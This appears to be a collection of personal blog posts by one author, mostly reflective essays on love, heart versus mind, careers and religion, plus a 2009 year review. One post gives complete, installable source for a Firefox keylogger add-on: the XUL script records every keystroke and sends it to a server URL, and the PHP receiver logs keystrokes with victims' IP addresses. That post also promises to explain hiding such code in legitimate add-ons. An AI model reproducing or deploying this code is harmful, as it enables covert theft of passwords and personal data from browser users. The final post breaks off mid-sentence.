I am yet again sitting in front of the virtual world with some real feelings. I would say sometimes your mind entangles the thoughts, and sometimes it just weaves a story for you. So, here is something which I just flourished with two closed eyes and one open heart.

A fine day in between an SMS conversation between him and her, he messages ‘… love you’ and she replies ‘Friendship Love;-)’. He just giggles in his heart and since that day onwards some thoughts start whirling in his mind. He flips some pages of dictionary and online sites to read more about "Love".

Most of the dictionaries defines love as "A deep, tender, ineffable feeling of affection and solicitude toward a person, such as that arising from kinship, recognition of attractive qualities, or a sense of underlying oneness" or "Love is any of a number of emotions and experiences related to a sense of strong affection and attachment" or "Love is patient and kind; love is not jealous or boastful; it is not arrogant or rude. Love does not insist on its own way; it is not irritable or resentful; it does not rejoice at wrong, but rejoices in the right. Love bears all things; believes all things; hopes all things; endures all things." But no where he could find "Types of Love" or "Categories in Love" for he always believed love has no boundaries, no categories, no types. You love someone because you love her! That’s it.

Now he digs deep into philosophy, pondering over feelings and emotions, and thought how in this world the evil always wins over the good. Everything in this planet has a different story to tell when it comes to good or bad. An ironical fact is all the good things have categories wherein all the bad things know no boundaries. He shares some vivid examples making no sense but worth a thought.
The earth is a beautiful place, and people have drawn boundaries to make countries, so, this lovely planet is being divided. Humanity itself is the biggest religion, but people divided into Christian, Hindu, Muslim, Sikhs etc. It’s so good to know others, but they are divided into the boundaries cultures and traditions. Now, if the negative sides are considered – Enemies or Terrorists: Are they divided? No! Are they confined to different types? No. Can someone define terrorists, can someone define criminals, can someone define an enemy on the same practices as defining peace, human and affection? Take the opposite of Love, the Hate. How many types of hatred are there? If someone says I hate you, can you say "Friendly Hate"? No! because, the harsh & negative feelings have no genres. You hate someone limitless, but you love someone in limits. Anger knows no limits, but peace confined to a very small region. For an enemy the whole world is theirs, but for a noble person there are rules. Why only the good feelings need to be confined while the bad feelings can be expressed without the rules and marks? Why?

He wants to tell her "I love you" and the moment someone starts feeling love beyond the social boundaries, then only he/she can understand it. Love is incomparable and he just can’t say his love is more or less than family, relatives, brother, sister but can look into her eyes and proudly say -

• If a tear drops from your eye, I can feel the pain
• If a moment makes you upset, I wish to make you smile
• If anything troubles you, that troubles me too
• If your day does not go well, how can you expect my day be good
• If you sleep well, then only I can relax
• If you are happy, then I am happy
• If you are unwell, I am all to take care of you
• If your day is empty, I may fill it with fun and respect
• If you think you are a grown up, I will make you enjoy like a kid again
• If you think you are a kid, I will hold your hand and say, I am there to take care. You enjoy!
• If you feel worried, I close my eyes and wish all her worries be mine and she should just be fine
• If you enjoy with your friends, I feel good that you are happy and sound in your circle
• If you can’t enjoy the circus, I can be your joker.

If you take a rose from a garden and lock it in your room, you may seal it’s beauty but if you really want to appreciate it, let it be in a garden and see it bloom. His rose is her! He wants her to do all what she wishes, and he will just watch her grow, watch her smile, watch her laugh! Love to him is a feeling, and if she want him to categorize it into Friendship, Family, Relatives, or Brother/Sister, Boy Friend, Guide, Mentor, Human it would be very hard for him to express! He trusts her, he loves her, he understands her and he relies on her. He does not think that if its a friendly matter then only she is there with him, even if its family still he shares with her, if its personal still she is the one!

Years back, he rose above the feelings of sadness and now, he is always happy not because nothing goes bad with him, but because of the belief that he has her, people who care for him and love him for what he is, whom he is, which is priceless! He will not cry for the ones that don’t deserve his tears, and the ones who deserve will not make him cry! He made this promise to himself, no matter what he will not break, will not cry, will always be smiling for he has no regrets of what he lost but have respect and love for what he has. He has merged his power to deal with profession & as well as his personal life! He has been a phoenix & have taken a rebirth being stronger, more confident, and more mature to deal with this wicked complex world.
He is so happy, that he crossed this stage of life before kneeling down to life!

But he still can’t limit and categorize love, and will try to feel as it comes! Love isn’t a decision. It’s a feeling. If someone could decide who and how to love, it would be much simpler, but much less magical. Just feel the magic, for angels never introduce themselves, they just perform, and the spectator be smiling ever after …

He conveys his love and smile with a note – "Take care of my world, take care of yourself."

God Bless.

Oh My God! I am not sure how many times Mind & Heart have confronted. And, I can bet I am not the only one with this kind of internal stampede of beats on brain. No matter how much practical personality you think of yourself, you end up in innumerous situations where you are opinionated – Feeling it (Heart) vs. Knowing it (Mind). But what actually is thinking from heart means? Can heart really think? Absolutely no! But what is it then? It’s nothing but the excess of emotions in a decision, fighting against the knowledge based opinions popping in your brain. Deep inside, you always know which is good for you, but sometimes you want to give it a try so as you can satisfy your curiosity and sometimes its just a risk taking urge in you. But the sub-consciousness can’t be defeated and scientists are still struggling to define it.

Lets get straight to the point – What to do? If I chose Heart, can I still boast me as a strong person or a will that make me a weak soul who agreed to kneel down in front of an emotional outbreak? I would say: ‘man-o-man stop thinking and just do it’. And, do it with your full will. Decisions ruled by heart always make it easier to convince your own self in all pros/cons. Emotions are long lived as compared to knowledge. A flaw in a mindful decision can easily be forgotten, than a fallacy in over-ruling a heart. One may be a feeble flaw but the later can result in an anticipated fiasco. Heart finds you the right way to drive your mind on a correct path. And, yet after the things are done, credit goes to mind, the conscious being in you. Usually society has a thumb rule – Professional life should be mindful, and personal life should be ruled by heart. Is it a valid fact – NO! The basic reason I would say is – Love your work for that will earn you a living, love your life, for that will earn you a reason to complete it rather leaving in between. But love is important which in no ways can be decided or dealt on the table of knowledge! If love could be decided through knowledge, it would have been much easier to do, but less magical to feel.

I have felt a strange thing between heart and mind – emotional decisions know no boundaries, and can go limitless wherein mindful processes are confined to your previous limits of righteous deeds or till the scope of your last mistake. You seldom dare to cross that line, and even if you cross, deep inside it’s your heart pushing it against the mindful disagreement to steer it. With Intellectual and Emotional flows to control the deeds, I would say someone with intellectual mindset will be searching for answers, facts and correctness wherein the one ruling with emotional energy will search for belief, relief in the ways that feels right! The heart feels the facts, and mind rationalizes the reasons. Its rightly said – "The heart is like an ocean, unstable and uncertain… And the mind is like the sand, bold and confident"

Heart is confused, yet comprehensible. The mind calms the heart, guides it to be serene and balanced for equanimity is what mind strives to thrive!. Different situations have unprecedented effects over us. If someone is suffering, its no time to be correct and rational, rather high time to listen, empathize and share things to comfort the disturbed soul. Emotional wrenches can’t be handled with intellectual algorithms or guidelines. Healing a heart comes first before hammering the head! I have felt that in any time, you can not convince your mind until unless your heart approves it. The life of any decision is very small if deep inside your heart is denying it’s existence & importance. Mind can take quick decisions on facts, but its the heart that sustains it.

If one fine day, a decision well accepted by your intellects fails on the benchmarks of heart, your sub consciousness will throw you 100 reasons to wipe it today or tomorrow. There are always conflicts between a hope governed by heart, and stats/probability calculated by brain. Hope can break rock into pebbles, and mind can convince rock to be mountain. With a simple thing I was discussing with my friend Anna, that ‘90% of friends are there only to share a smile, 10% to share even your tears! Irony is, knowing it all, 90% of time you spend with the former, and 10% with the later.’ We stay friends with people we only ‘kind of like’. We do and say things to fit in & seem/look cool that may even go against what we feel is right in our hearts!

Think of a normal life. What is it? We end up living 1/3 of our lives in a cubicle for the ‘benefits’ to reap. Normal is getting dressed in clothes that you buy for work and driving through traffic in a car that you are still paying for – in order to get to the job you need to pay for the clothes and the car, and the house you leave vacant all day so you can afford to live in it. Life is a mixture of decisions ruled by heart as well as mind & if something goes wrong it’s hard to blame one! The questions start popping out. Is my heart at fault? Are my feelings just silly and frivolous? Or maybe it’s my mind to be blamed? It seems like it’s always coming up with conflicting messages anyway. You live your day, welcome tomorrow, or in occasionally wait for a special day. According to your heart the distance of a given day from today is directly proportional to the desirability of events on that day wherein to mind its number of earth’s rotation and will take the fixed time irrespective to the occasion.

Now, an important factor regulating our decisions and choices is the culture, social surroundings or society. Man is a social animal, and no matter how independent he thinks, he is a part of a herd. And, has to abide by the traditions, culture of its respective society. This conditioning may cover up the true self, and obscure the inside messages with the trends crafted to be followed and thoughts meant to be mended. The result is – even if you really feel like that’s the right choice, how do you know for sure? How do you know it’s not just what you think you should do? But, a basic question returns us to ground zero – From where this problem kicks off and why mind and heart can’t be in sync? Someone once mentioned:

You can be the most powerful person just following 3 simple rules:

• Say what you think.
• Do what you say.
• Accept what you do.

Bruce Lee once said "The height of cultivation always runs to simplicity."

Though mind and heart are different then, why interfering in same roles? What’s their purpose of existence? Is it so confusing? Have we really mistaken their purpose? In terms of philosophy, heart is like a compass with a purpose to guide the directions we take, with a hawk eye view on ‘here we are’ and ‘here we need to go’. It sees and weighs your complete life! Mind on the other hand, is not supposed to ponder on your complete life, rather its job is logical comparisons, organize, conceptualize the information gathered. It’s like sewing the bits of information to form some comprehensive knowledge bed on which decision can be laid. Our mind, for sure, is not designed to make purpose driven decisions. Flipping a coin, and a mind can only decide the outcome based on facts & stats and on taking a good look on both sides of the coin.

With an analogy of a courtroom, the heart is the judge sitting on top, deciding what’s right. And mind would surely be the defendant, as well as prosecutor. The problem arises, when mind gets greedy to play the role of prosecutor, defense as well as the judge. The mind should never be the judge for it’s job is to sort things, compare information, contrast granularities and to publish & present it to heart – do what you want with this! But can we control this, even though I would say – Yes, you can! but to control it, is one of the hardest things to do. You should have a strong heart and a strong will. To me, will power is a thin thread that binds mind and heart to keep it in sync. If that thread is powerful, you can take your mind on the rules of heart. Its like pulling the reins when mind goes nuts! Pulling it, when mind is making choices. The worse is when mind is at work on the occasions it is least needed. Comparing and contrasting the differences, brooding mostly. How many times have you noticed the unnecessary work of mind? Enjoying a walk/jog, admiring a sunset, kissing, crying, laughing, missing someone and your mind is still thinking and going. Is it needed at that time? No! In simple terms your mind is proving to be a hurdle in your experiences!

Any Solution?
Will power as I mentioned before is a very important thread to be kept tight and never let lose! Until unless your heart & mind are friends rather than conflicting foes, will power should be pulled strong enough to keep them aligned. Trying to tell mind that it’s not needed will eventually increase its work load on the reasons why it’s not needed, and how to keep its stand firm. This will encourage it to work more. So, instead of a retreat we will get a resurgence! Rather telling it loud, decide on believing in you, and your power to take decisions, enjoy experiences keeping your mind at bay to relax. Try to constantly realign your decisions to be ‘with your-own-selves’. When taking a decision, think it’s right or wrong – Is this choice going in my favor, or against? And, you will find the right choice popping its way out evidently. You can make your heart and mind bind together in a knot, and their offspring (you) won’t have an emotional overflow & flood damage from the divorce it’s have been suffering since long.

- Rishi

PS: This is just an attempt to vocabularize what’s in my heart to the words I have it in mind. So, few feelings framed in fumbling words.
Do leave your comments.

Last week of 2009, and here I am, thinking what I gained and what I lost. Before I dive into my memories for some events, I would say all’s well that ends well. I will keep this post a mixture of personal and professional experiences for the year.

The year 2009, to begin with, was a little shaky due to the hangover of recession period and its aftermath. Professional goals dancing right on a ticking time bomb, which can anytime explode; friends sending emails with their nightmares of facing a pink slip, and chaos miming everywhere. Many small boats of startups were sinking, and big ships trying to anchor and hold at the barriers. My company even though a startup (5 yrs old), was doing much better comparative to market situation but yet the fear seldom sends the shivers in spine. Jan and Feb parted, and the clouds began to wither away, the floods started residing, and economies world wide showed a glimpse of recovery. Information Security with product base was not much affected for 2 reasons – Work Force is already low as compared to engineers in Service Based Companies + No matter economy plunges to dark holes, or rises to blue skies, the demand for security fluctuates but still maintains a threshold level as companies always need to protect their resources and renew their security product licenses, look for products which can give the maximum features in minimum deals. Our boat sailed well, and in May 2009 got acquired by a big ship with a hope that bigger life saving measures are in process, and now we are under a bigger roof – safer, and relaxed.

Personally, the first quarter went low but smooth with nothing much happening in my social life. Same routine but an addition of a better fitness regime which I joined at the year start. But, it somehow turned to be a soda pop, as months down the line, the fizz subsided and I was back on a *geek* track for late night works, nocturnal habits, sleep deprived time tables, and late attendance to office. I knew it was going wrong, but work schedules and bad routines were taking a lead over my will to make it better. After the professional turn, I decided to flip the coin, and willingly make things better in my favor. The transition was a little hard but glad I made it.

For June, the only memorable event I have was my B’Day party in Bangalore. Last year, the b’day was just another day, but this year I had already planned to invite all I know in Bangalore to have a good social meet. And, thanks to all that it went pretty good too. Though some people couldn’t turn up but I had a good time meeting all.

Among all these days and nights, I had a blast at SDIPA Summer Funk wherein we danced & enjoyed a lot. Another feather in the hat, this was my first performance after my academic years and all went smooth. With friendships to cherish, were the NRS who were close yet far for some stupid reasons boiling among them. As the excitement for the funk subsided, so did the froth of friendship. Another jolt of misunderstanding, where words were short, and distances afar. But, without any regrets, its always better to look ahead and move on. So, instead of making it affect the book of life, I preferred to turn the page! But still, I made great friends like Niyati, Puru, Nabha, Vasudha, Dheeraj and many others whom I will always love to be in touch with.

Third quarter of 2009 started to groom my personal self, changing everything in me. I joined a new frontier of learning a foreign language. French was the first choice, and since the day it started, to the very last day of Level One, it was an awesome journey. Special mention of Kay, our teacher and our friend. I felt so good every time I attend her class with the ways she used to teach. They were not the stereotypes, but ways which could give my heart a valid reason to wake up early morning on weekends too. There I had a good social circle of people like Candy, Ruby, Guddu, Thanu, Vs (Vinay & Vikram), Vidisha, Sumit etc. all adding their flavors to an amazing dish prepared and cooked by Chief Chef Kay. Three months passed by with memories to hold and cherish.

Then there is a person SJ, who I am not sure what to say about, a friend, a closed one, someone who understood parts of life in my ways. Even though we know each other for 7 years yet it was such a new friendship, which started just 5 months ago. Within months we got so close to understand each others’ feelings and yet keeping our lives independent. We were 2 souls living our separate ways, and dreaming if we can have the same destiny. No matter what, we had understood the fruit of friendship and have agreed to nurture it at any costs. We had a great time in September, a time we spent together to capture some moments in our separate lives to come.

Finally, the year 2009, brought close three people who slowly but surely were making their presence felt, deserving a worthy mention. The real life SRK. They were the ones, who matched my wavelength personally and professionally. Someone, with whom I am me & only me. They are mature, yet don’t bother to act childish, someone who are settled yet ready to take a new ride every time. Someone who enjoy trying new things, and believe in heart that they can’t change the world but still are always ready to reflect changes in their own lives. In a nutshell the ones who know how to read & write a book of life without tearing pages, without folding memories, but just flipping pages and living it large. There I found some new reasons to celebrate 2009, a little late but worth a million smiles. A group still a part of my life & in the times to come!

All these months professional side was going smooth, until some invites to conferences like Bangalore Cyber Security Summit, Pune Cyber Security Summit, eSurakshit 2009 boosted my professional presence. A boost much awaited for the ladder I may climb in the years to come, it would always be a pleasure if I be greeting some known faces on the way! All the conferences, press meets went well and I without being biased to any product favored the neutral cause of security business. Now being a part of a Trend Micro, I feel proud, I feel I have achieved much to the facts for which I was always committed to. Though there have been certain lags, but overall the journey seemed smooth.

December, the last month of this year gave me an opportunity to visit Trend Malaysian Office, and interact with colleagues nations & boundaries apart. A team coming from different parts of the world yet having something common – full of energy, committed, and  bursting with ideas to prove their presence or more importantly to prove their efforts for the company as a family, as part of our lives. I learnt so many things being with them, enjoyed in their styles and fashion. Met many new people, and the trip proved to be a success professionally and personally. I achieved what I wanted to and rejuvenated myself which I needed the most at the end of the year.

Now, here I am, a better human than last year, a healthier being, one more dedicated to the company! These key incidences defined my 2009, but thanks to many others who have continued to be with me in thick and thins of life – my family, my old friends, and everyone in touch with me in all these years. In case I missed someone worth a mention, am sorry but you are still a part of my life even though not a part of my blog. With less than a week to start a new year, I wish everyone in touch, or the ones drifted apart .. a very happy, successful and cherish-able times ahead.

God Bless! Cheers.

This is one of a topic I was long thriving to post, but today someone completed my pile of reasons to jot it down & provided an invisible push to put my thoughts in the closet of words. It may specifically portray a Mid-Income Indian Society.
Since childhood, I have seen and understood what peer pressure is all about, what expectations your family have from you, what is the difference between a real world and a world explored by Alice. Always being a part of it (thanks to my family background), I never could relate myself to any of the fictional characters present during my days of TV watching. I was somehow more bedazzled by Achievers, Scientists, Detectives, Nobel Prize Winners etc (may be fictional TV series but more of ‘logical’ realities) than Fairies, Gods, Superstars (real yet virtual – hard to draw a line through), Kings etc. Mysteries were more thoughtful/interesting to me than Magic. I started reading about Bermuda Triangle & the Lost Ships, Pyramids & Stones and what not when I was in 14-15 yrs old. They kept me awake at nights and when I turned 18 I devised my own Big Bang Theory which later, I opposed (after 2 years of wisdom gaining). Anyways, keeping this topic a little away from my biography, I meant to say is I knew what I can/could do, and though I love(d) speaking (as in on stage anchoring, debates …), sports, creativity with art and drawings … but was always a little biased towards Science & Technology.

During college days, I heard a lot about Brain Drain. When I was preparing for IIT (which, I couldn’t get through) I heard a lot of brain migrating to Western & more developed countries and I always wondered that is it really such a big issue? Do potential students really have a choice? And, if they possess certified intellectual brain then why to question their wisdom of choosing the right niche. With sand changing its side in my hour glass, I understood it may be a drain … but the other aspect that people forget, or often may get un-noticed is the problem of intersecting career goals or indecisive dreams. This is the thing I wish to spotlight in this post. This is what a meeting with someone made me realize that I have to post my opinion on (without being offensive), rather humble opinions!

This is based on real case studies, my friends, my colleagues chit-chat, and social networking + someone. India is surely a cultivable land of crops and intellects. We are proud to be looked upon & quoted as hardworking and intelligent work force. But how decisive are we, when it comes to a simple question – What to do to make a living? With potential wise work force comes it’s flip side friend Competition. Needless to say this competition is getting deadly (not just a metaphor) as years are passing by. Everyone is readily trying to move up the corporate/commercial ladder at any costs. Students and young graduates are confused for their interests may be diverse but the scope of jobs is limited and confined to Software, Outsourcing B/I/K(PO), Doctors, Architects etc. but what about the Artists, Writers, Potters, Singers, Actors etc. People do have interest in Arts but migrate to Commerce as it is paid well, and will earn you a good living. You complete your Bachelors in Science, and then move to MBA in Finance just like gaining a pile of degrees and certificates and yet uncertain what to do in life. With no offences to anyone, its hard to understand that how can ‘just’ attaining a degree makes you believe what is it like working in this very domain?

This is in no context to the ones who are switching domains to move up the ladder – Bachelors in Computers for Software Engineer, and then after some years MBA in IT/Marketing/Finance to move to a Managerial or CXO post. This is understandable for you have enjoyed being the one you studied for before moving on in life & ladder. But to the ones, who at the age of 22 wanted to pursue Commerce, and joined B.Com or BBA and when asked to join a company, appeared for Software Companies as Engineers with may be a ‘6 months course’ in their profile highlighted to overlook the Cross Domain background. Ask a child before he joins college, what you wish to do and the unanimous answer is ‘Earn Money’ and specially with engineers of all domains (Computers, Mechanical, Electronics, IT, Electrical etc.) – now, at the end of college, they are all united to work for software companies for they generate vacancies & pay well much faster than any company of ‘other domains’. The result is no matter you did Engineering in Mechanical or Chemical, you will soon be somewhere in front of a Computational Box writing a piece of code or something. There are very few people who actually do and pursue what they wanted and dreamed of. This is all due to media, corporate and society stereotyping culture! We all say and publicize that there are millions of opportunities to an individual with any expertise but in practical world revenue generating companies are like Black Holes which at the end suck you in as corporate controlled and tech driven labour.

My opinion is simple – If you wanna be someone, be someone rather than finding an escape route or a short cut to fame & name. Software Companies need determined workforce and not people who did computer course but actually wanted to be a choreographer. I know life is tough to be lived upon on certain conditions, but being 22 yrs old at least certify a ripe brain with ambitions!

Cheers,
- Rishi

Note:
I had a word with the same someone and I owe her a small apology for I have inadvertently judged a book by the covers (may be was less hopeful of getting a chance to flip the pages through or may be in a hurry) or may be I was a little more inquisitive & responsive in profiling. Anyways apropos the petite[Fr.] discussion, I wish to add a different context of thought as in India the word struggle pays you neither a cent nor any respect. No matter what the profession is, prefix it with ‘struggling’ and you are way out of league & specially if it has to do with media/creativity. I agree that finding options may include over-powering your own interests for a practical cause or benefits in our money driven society as opposed to faint value-driven culture.

Someone,
My heartiest best wishes for your studies and future endeavours but still, never lose what you are the best in and want to be a part of. As you did now, there may be a time, you can toggle the switch again, but till then enjoy & keep looking for opportunities… fingers crossed. =)

Security is the buzzword everywhere. From cell to celestial the same question – What about Security? From Medical to Travel – Comment on Security? People are paranoid to go out, do things, take decisions without considering the aspects of security. Security comes before planning, in planning and after plans … Its a part of one’s life, office, personal self or professional front. Everywhere is the question of security whether that be personal, relational, assets or data security, information or just for God’s sake His own security of existence in beliefs and within us (Religion vs. Science). But turning the clock a little back, was there so much sense of security in early days, or decades ago? Were people so much concerned? Even that time there were robbers, thugs, criminals etc. So, why much of hype now? Is it because of fear or is it just precautionary?

The market of security multiplied over the years as the data criticality & sensitivity grew exponentially. Moreover, the Internet wired everything in the web thus giving anyone, anywhere access. Good people, bad people all with the same resources, same tools – some knowing their use, and other just trying to get something out of it. Not only the virtual security, even physical security have jumped to new heights for the same reason – the assets are more precious and its like guarding all the eggs, the gold eggs. Guards replaced with passwords, further with Fingerprints or even Facial/Voice/Retina scans or may be DNA scan in future or something more reserved to an individual.

But still, there are hacks possible, the hack which would result in greater destruction not only to the assets but to the owner. Decades back, a hack would have resulted in loss of information or material which now would cause loss of identity to the owner or may be worse! Imagine a data centre holding fingerprint records, or retina scan records to match with. And, some fine day due to a hack, the same scan record is then matched with that of a terrorist. Means, you are now a criminal, coz your identity says that.

Let us take Media into picture now. What is media responsible these days? For creating hype and pre shocks and post consolations + controversies here and there. Journalism has changed the outlook of society. Anyways, that’s a different topic to discuss but one gift of media is the superstitions of security and defence. Someone once mentioned "Security is mostly a superstition. It does not exist in nature… Life is either a daring adventure or nothing." Nowadays, even if you lock inside a bunker you are not guaranteed “safety”. I ask this question to the ones who boast a lot about security and 100% effectiveness – Do you offer an insurance to my data if my infrastructure gets hacked/attacked/infected ? The answer is an obvious “No”. None can precedent on the upcoming threats, and unseen challenges in this www world. So, what do you say about the offerings of security? They are just defensive measures against the challenges which are threatening the market today, and predicted outcomes of the existing vulnerabilities in society.

… more to come.

Some days back I was going through this article on how the key-loggers are changing their appearance over time – Hardware to Software Key-loggers. Then I felt what if the browser have a key-logger, how good will that be? My pick to test one, would be Firefox as it’s very easy to write an add-on and make someone click on it – one of the easiest social engineering when there are thousands of add-on already floating in the market and people are downloading it like free cakes (statistics). This is only via the Mozilla site. The stats from third party sites, and portals are not accounted here!

Ok, now how an add-on is coded with Mozilla? It’s actually a simple deal as a detailed documentation is available at Developer’s Hub at Mozilla for starters as well as professionals! After you complete your basic idea of extensions let me jump directly to the code of this “Key-logger Demo” add-on. There are three files in it:

1. chrome.manifest
2. install.rdf
3. chrome/content/kellogs.xul

For details on these files with an example please visit here.
By the way, before I show the code and the process, this is all for experimental & education purposes. Fine, here are the codes for the add-on name Kellogs (all the code files are available for download as zip). Once you have the zip file, change the extension of the file to XPI by renaming it simply, and it’s ready to be installed on Firefox as an add-on.

chrome.manifest [here]

content kellogs chrome/content/
overlay chrome://browser/content/browser.xul chrome://kellogs/content/kellogs.xul

install.rdf [here]

<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
  <Description about="urn:mozilla:install-manifest">
    <em:id>test@test.com</em:id>
    <em:name>Kellogs</em:name>
    <em:version>1.0</em:version>
    <em:creator>TEST</em:creator>
    <em:description>This is an experimental “Keylogger” add-on which will send key strokes to a defined server. It may disclose personal information. Use at your own responsibility!</em:description>
    <em:homepageURL>http://www.example.com</em:homepageURL> 
    <em:targetApplication>
      <Description>
        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
        <em:minVersion>2.0</em:minVersion>
        <em:maxVersion>3.6</em:maxVersion>
      </Description>
    </em:targetApplication>
  </Description>
</RDF>

kellogs.xul (chrome/content/kellogs.xul) [here]

<?xml version="1.0"?>
<?xml.stylesheet href="chrome://global/skin/" type="text/css"?>
<window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
    <script>
        <![CDATA[
            document.addEventListener("keypress",onkey,false); 
            var pats='';
            function onkey(e)   
            {
                pats+=String.fromCharCode(e.charCode);
                if (pats.length>20)
                {
                    http=new XMLHttpRequest();
                http.open("GET","http://example.com/kellogs/chars.php?pat=" + pats,true);
                http.send(null);
                pats='';
                }
            }
        ]]>
    </script>
</window>

These are the basic codes for the key logger add-on. Once the user ‘types’ anything, anywhere inside the browser, it will be send to the defined site (example.com as above). But what about the capturing at the server end.
Fine, here is the code for "chars.php" for server.

chars.php [here]

<?php
$ip = date("F j, Y") . ‘ (‘. $_SERVER['REMOTE_ADDR'] . ‘)’;
$font_date = "<font size=\"2\" face=\"Calibri\">";
$font_txt = "<font size=\"2\" face=\"Calibri\"; color=\"Blue\">";
$font_end = "</font>";
$_GET['pat'];
$file = fopen("kellogs.html","a");
fwrite($file,$font_date . $ip . $font_end . ‘ — ‘);
fwrite($file, $font_txt . $_GET['pat'] . $font_end . ‘<br>’);
fclose($file);
?>

This will generate a log file (kellogs.html) at the server end with Date, Source IP and Keystrokes’ logs:

Month XX, XXXX (X.X.X.X) — bn&*%^oko 9fgh9koooqO
Month XX, XXXX (X.X.X.X) — hbuj ijoko jLkp oknul

This is a brief intro to developing a key logger extension for Firefox. More to come in coming blogs on how to insert such a ‘malicious’ code in an existing add-on to fool the user without creating any new name in the add-on list.

Keep the common sense handy,
- Rishi

Days back, one of my respected and adorable professor had a message posted on her social networking profile saying – "… making do with the little things that make her happy rather than yearn for wat is not … but the little things can always become bigger with time and fill the vacant spaces …". Apropos this very statement and the messages to follow, a gentleman summarizes them in this way – "The meaning is quite simple: feel it, don’t fill it! Stay in the absence." This gave me my topic for this very post – Feel it, Don’t Fill it.
A topic well open to different perceptions, comments and conclusions etc. What I am jotting down, is my perception of "feel, don’t fill" (abbreviated as FDF) and any comments to it, in favour or against are more than welcome! Just wishing to keep the flames & fumes a little low.

By the way, the reference for FDF can be in vast senses – Eating, Loving, Doing, Profession etc. But no matter that the domain is, the essential part is – FEEL. What we eat, Whom we love, What we do and What we want to be are all critical pieces of life’s jigsaw puzzle, which we are trying to solve every day, every hour & at every moment. Nothing is encrypted, nothing is complex, just the randomization is what baffles us. Looking back the dots can easily be connected, but looking forward it’s just some incidents (pleasant & sad) waiting to be unfolded at their right time – some making sense, and some just filling our time. Things happen, things strike, people come and people go but nothing is eternal, nothing is so pious as the feeling of beholding the time for that very moment. We fill our vacant spaces with small or big things, but how much do we feel their presence? Little things, hardly taking our attention and Big things trying to fit in small voids. Or, are they just psychic structures that resemble the lost essential aspect (Theory of Holes, A.H. Almaas). All in all, feeling is what creates the difference between having and possessing it.

In a social life of ever changing landscape, filling has become a daily activity. We fill our appetite, we fill our schedules, our lives, our pockets, our accounts … but how much do we consider the feeling behind the deeds that we do and perform. How much of it fluctuates between the ‘consciousness of doing’ and ‘sub-consciousness of waiting to be finished’ and the real ‘conscience within us’. Feel factor is missing from our activities, from our share to this world. All in a hurry, a race where none will win, but many may lose!

… to be continued.
my alarm to sleep is filling the room, and am feeling to follow it for now :)

Today’s evening was spent in a perfect way to put forth the meaning of ‘feeling and not the filling’ (and continue this blog). It all started like a regular day but no office! After a brisk freshen-up schedule, I went straight to Fitness First for a healthy start of the day. I wanted to feel the strenuous workout, not just finish it as time pass. Finishing my circuit, I felt like pumped up to the core. Wrapped my stuff and ran to ‘Juice Junction’ to have some healthy juices and fruit salad. By the time, I regained my breath and some weight, it was already early evening. And, then the thought of spending the evening at some ‘mall’ or ‘window shopping’ trapped me! But, if not this .. then what? I absolutely didn’t want to fill my evening with them and feel nothing out of it. I buzzed one of my friend, and enquired about a hotel she was referring earlier in context to French cuisines & decor – Seven Hotel. It was all of a sudden plan to visit a thoughtfully crafted boutique design hotel catering to all my needs for an evening in tranquille. Driving some 20Kms, the moment me and my friend Vid entered the hotel, the ambience & aroma felt so calm and relaxing as a welcome message to deep breathe and let your worries, tensions go aside for the time you are here!

Taking a small round of the facilities available for guests, we decided to go for C’est la vie – a restaurant offering simple and good french food in a bistrot atmosphere. Ambience was amazing, and the first look seemed a real treat to eyes! We sat outside in open air, and here is a menu card hand written on a black piece of wood. The names surely amused me, but thanks to subscripted ingredients in English that I could decide my item for the evening! We had a salad and some drinks but more importantly we were accompanied by Mr. Vincent Structure, Restaurant Manager and a jolly good native of France! He invited us to have a look on his ongoing “Ciels de Paris” exhibition – a great collection of well shot photos! Soon, the time flew by and the evening turned into night. A little cloudy night and we realized that its already been 3-4 hours sitting at the hotel. But deep inside, I was relaxed, calm and decibels away from the pollution & traffic noise! An evening just sublimed into a warm night with a sense of feel good factor, and the things that I avoided to play as fillers!

Looking forward for more such undecided sudden plans.

- Rishi

Since years, decades and millenniums there has been a tug of war between Science and Religion. Religion ought to believe that God created universe, the earth, the human, and all the beings present around us. Flip the coin of existence and on the other side, science is busy in contributing to prove the reason behind existence of virtually everyone and everything under this sky, and beyond it.
Though the logical reasoning has its limitations within the walls of knowledge & experience; once you cross these boundaries it becomes a ‘hypothesis’ or a ‘creative intelligence’ rather than an existing fact bonded in algorithms. What mysteries are to science, the magic is to religion. Its a chain reaction of incidences, and if evolution tries to answer the last step, religion questions the penultimate one and it finally reaches the point of beginning – the moment before big-bang, the ultimate ‘point’.

Lets mix some hypothetical stuff and see how religion and science might behave. Will they be in alliance & their argument will cease to exist or will they question the existence of God & before? What if one fine day, an ultimate ‘humanly figure’ bestows its shine on earth and say – "I control you, I am your Lord". Though religions all around the world will rejoice or fear of this entity, scientists may start calculating energies, radiations and all ‘logical’ stuff to find the reasoning of ‘His’ existence. And, if the Almighty is there, who’s behind Him, in whose control is our planet, is there one God, or a league of Lords? Is our universe merely a 3D drawing board of God, who is spilling some colours, life and souls and making some cellular to extra-territorial heavenly bodies? Or is this all an illusion created by Him so convincing for us to believe that we are living with souls & not with artificially inculcated mechanics. All questions will follow His presence, and this may be the new ‘Ultimate Question’. And, will religion believe in Him or will it try to go beyond Him too? An open ended infinite series of questions.

A similarity in both science & religion is they question the existence of everything! Religion answers it first by handing over the reins to God, and crediting itself as His representative to convey the truth, His eternal words – "I do it for good." ;wherein, science goes till the discovery of each step and makes it into complex equations that define the process but not the basic ingredients. Religion answers it to get the throne of supremacy while science proves to get it’s pride of intellect. Einstein vs God has always been a topic of arguments and debate but none can convince his counterpart otherwise. Science and Religion are not enemies, but two friends with different thought process & opinions. If one fine day Almighty says a Hi, we will understand & believe that we are mere puppets, but search will never end.

Will a powerful alien planet & it’s beings who either empower us, or threaten us, be treated as God? What if they created us in assignment of their ‘technological’ or ‘power-show’ marvel? How will you know God knocked you down, or someone who’s just ‘more powerful’ than you?

Best Wishes!

Today, I was working on a piece of SSL certificate & .pem generation with my colleague, when a naive looking HTML/TXT page having just some text content in it popped up a message Do you want to Open or Save this file when opened with MSIE.
I thought it can be a server issue as it might be sending headers with: content-disposition=attachment

But then the pop up message said to save the file with extension .zip which is weird as the page I was trying to open was abc.txt. I checked again and again but the same result. I spawned my handy Chrome Browser and verified. Chrome opened it as a text page as expected. I checked the PCAP of the traffic and nothing was unusual.
These were the headers:

Request:
